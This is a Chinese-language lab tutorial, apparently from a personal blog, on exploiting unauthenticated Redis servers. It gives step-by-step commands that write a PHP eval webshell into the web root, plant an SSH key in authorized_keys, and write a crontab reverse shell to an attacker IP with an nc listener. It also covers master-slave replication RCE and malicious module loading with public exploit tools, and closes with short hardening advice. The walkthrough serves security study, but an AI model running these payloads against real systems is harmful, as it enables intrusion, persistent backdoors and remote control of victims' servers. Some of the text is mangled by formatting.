d4m1ts_2018 d4m1ts_2019 d4m1ts_2020

危害

信息泄露

  • 系统信息
  • redis保存的信息

写文件GetShell

  • 在Web目录中写入webshell
  • 写入SSH公钥直接连接
  • 写入计划任务(corntab)反弹shell

高级利用

  • 主从复制getshell(4.x version < 5.0.5)
  • 模块加载执行命令(> 4.x)

    环境准备

    | 🐔型 | ip | 服务 | 版本 | | —- | —- | —- | —- |

| 攻击🐔 | 192.168.1.100 | Windows | 10 |

| 攻击🐔 | 192.168.1.100 | redis-cli | 3.0.501 |

| 受害🐔 | 192.168.1.105 | Ubuntu | 16.04 LTS |

| 受害🐔 | 192.168.1.105 | redis-server | 3.0.6 |

| 受害🐔 | 192.168.1.105 | Apache | 2.4.18 (Ubuntu) |

因为新版的 redis 默认绑定的地址为 127.0.0.1,所以为了复现漏洞,我们手动将绑定端口改成0.0.0.0

  1. sudo vim redis.conf
  • 69 行的 127.0.0.1 修改为 0.0.0.0

change_bind_ip

  • 启动redis必须使用 root 权限启动,否则save时会报错 ```

    关闭 redis 服务

    sudo service redis-server stop

    打开 redis 服务

    cd /usr/bin/ && sudo redis-server
  1. ## 信息泄露
  2. ### 数据泄露
  3. **获取所有的key值** `keys *`<br />具体查看数据可以查看redis教程
  4. > [http://www.runoob.com/redis/redis-tutorial.html](c7808cb779777e337efc33e7ea9c5ee8)
  5. ![get_keys](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990497284-9f5be607-545f-434d-a19b-4d1984bc7744.png)
  6. ### 系统信息泄露
  7. `info` 命令<br />可以看到redis的版本、系统内核版本、配置文件路径等信息<br />![info](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990498072-c49c2a1f-cb28-4264-814c-510fd71799a6.png)
  8. ## 写文件GetShell
  9. ### 在Web目录中写入webshell
  10. **前提条件**<br />已知网站目录的绝对路径,并且具有读写权限
  11. #### 环境搭建
  12. **启动apache服务器**

sudo service apache2 start

  1. **查看apache服务器状态**

sudo service apache2 status

  1. 有一个 **running** 则说明在运行状态<br />![running](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990499192-e8a34571-870d-4cd7-a7a6-adb21459bf05.png)
  2. #### getshell
  3. - 写入shell

写入一个string内容

set shell “<?php @eval($_POST[‘shell’]);?>”

设置备份目录

config set dir /var/www/html/

设置备份文件名

config set dbfilename shell.php

保存文件到本地

save

  1. ![config](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990500555-c1d5ad76-7740-48a8-87c0-d3ae4ee69319.png)
  2. - 菜刀连接
  3. ![Cknife](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990501333-9dfa0e43-c3a7-4d5b-9bcc-d7ca996bf986.png)
  4. ### 写入SSH公钥直接连接
  5. - 本地生成公钥和私钥
  6. - 将公钥写入到目标的`.ssh`文件夹
  7. - ssh 连接
  8. #### 在本地生成公钥和私钥
  9. PS : 这里为了方便,我直接从受害🐔里面生成的公钥和私钥,然后再将他们剪切到攻击🐔

ssh-keygen -t rsa

  1. ![generate_ssh](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990502904-ed7091d3-fdfa-4378-9f28-ad4dcfdb668a.png)<br />![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990503799-e8259769-ee81-43d1-bc4b-c4485c71e48b.png)
  2. #### 将公钥写入文件中

备份文件目录设置为对应的 .ssh,部分为 /root/.ssh/

config set dir /home/lynn/.ssh/

config set dbfilename authorized_keys

保存key的时候加上两个\n是为了避免和Redis里其他缓存数据混合

set key “\n\n\生成的公钥n\n”

save

  1. ![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990505347-740edb24-7101-4f0a-8093-e8ec24e2f26c.png)
  2. #### ssh 连接

ssh -i id_rsa lynn@192.168.1.105

  1. ![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990506939-740d7a24-1199-4cc8-be5b-085ab181a3fd.png)<br />可以看到不需要输入密码直接连接
  2. ### 写入计划任务(corntab)反弹shell
  3. #### 注意⚠️
  4. **这里有一个很深的坑**,那就是<br />crontab反弹debain,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行

crontab -u root /var/spool/cron/crontabs/root

  1. 通过语法检查后,才能执行计划任务。<br />因为这个坑,用了整整一天的时间来研究这个<br />参考文章
  2. > [http://www.freebuf.com/vuls/148758.html](42e0a7032fc8f2f503d95995a41a49a9)
  3. 主要是感谢下方的评论
  4. ---
  5. #### 执行命令
  6. 和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是 lsa 那么备份文件就是 lsa

set shell “\n\n/1 * /bin/bash -i>&/dev/tcp/192.168.1.100/1234 0>&1\n\n” config set dir /var/spool/cron/crontabs/ config set dbfilename root save

  1. #### 攻击🐔开启监听

nc -lvp 1234

  1. ![nc_1](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990507714-17d0dc5f-0151-4d9f-87e7-4612647b2db2.png)
  2. #### 等待 1 分钟
  3. 等待一分钟受害🐔即可执行任务,攻击🐔就可以收到shell<br />![nc_2](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990508495-7cab500f-a938-4934-9477-42540c840826.png)
  4. ## 前期总结
  5. redis未授权访问总的来说危害还是挺大的<br />但是实际过程中还是会遇到很多很多的问题<br />比如
  6. - redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  7. - redis写入的时候就会覆盖passwd,而且passwd不能恢复
  8. - debian,ubuntu 计划任务的限制很严格,写入成功是不能执行的
  9. ## 高级利用
  10. ### 主从复制Getshell
  11. #### 介绍
  12. Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,**其中主机和从机数据相同,而从机只负责读,主机只负责写**,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。<br />主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);**数据的复制是单向的,只能由主节点到从节点。**<br />默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。<br />**主从复制RCE主要原理就是:攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。**
  13. #### 环境搭建
  14. 采用docker拉取redis进行一键式搭建

docker run -p 6378:6379 -d redis:latest

  1. ![docker启动成功](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990509971-f0e8bdf4-dd5d-4a9b-ab1b-ba4a3fa15945.png)
  2. #### 漏洞利用
  3. ##### 下载Exp

git clone https://github.com/Ridter/redis-rce.git

  1. ##### 下载 `exp.so`

下载后放到 redis-rce 目录下

wget —no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so

  1. ##### 利用

此处可以通过 -p 去设置目标端口(默认6379)

python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so

  1. ##### 成功截图
  2. ![image-20211103172253238](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990510975-91969bbf-6ac4-4fa4-a4e6-d50812e062f4.png)
  3. #### 漏洞原理
  4. `Pavel Toporkov`2018年的`zeronights`会议上,分享了关于这个漏洞的详细原理。<br />PDF链接:[https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf)<br />![image-20211103173226945](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990514889-dc6bcc1b-c379-4954-8de0-fdec333638c0.png)<br />看了个大概,也不是完全懂,大概意思就是说,我们做主机,目标做从机,当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过`FULLRESYNC`同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
  5. ### 模块加载执行命令
  6. #### 介绍
  7. 和主从复制差不多,都是加载一样的`so`文件,只不过这边是直接模块导入的方法<br />在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。<br />**主要过程还是通过某种手法上传`.so文件`,然后通过redis`module命令`进行加载`.so文件`,然后进行系统命令执行,这里主要是讲解利用方式,我就不对.so文件原理进行一个讲解。**
  8. #### 什么时候用
  9. 1. 实战中这种用法一般用在getshell后,上传.so文件进行一个命令执行;
  10. 1. 版本够,但是不能用主从复制rce的时候用,不能出网的时候用;
  11. #### exp.so
  12. 下载后自己make编译即可
  13. - [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)
  14. - [fork](https://github.com/1979139113/RedisModules-ExecuteCommand)
  15. #### 复现
  16. - 启动redis容器

docker run -it —rm -d -p 127.0.0.1:6379:6379 redis

  1. - 查看版本,符合要求
  2. ![image-20211103215141222](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990517458-5c558d1e-319a-42c1-85ba-a41e2e1c5616.png)
  3. - 下载远程的仓库进行编译

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand make

  1. ![image-20211103215159025](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990519007-fcd57536-1f6c-442b-945a-168a03005bb4.png)
  2. - 把编译好的so文件放到redis的容器内

docker cp

``` image-20211103215223592

  • 加载so,执行命令

image-20211103215237224

防护

从上面的利用也可以看的出来,防护主要针对以下几点:

  1. 禁止未授权访问,设置密码
  2. 低权限运行,避免RCE等
  3. 禁止数据库对外开放,设置访问IP白名单

    参考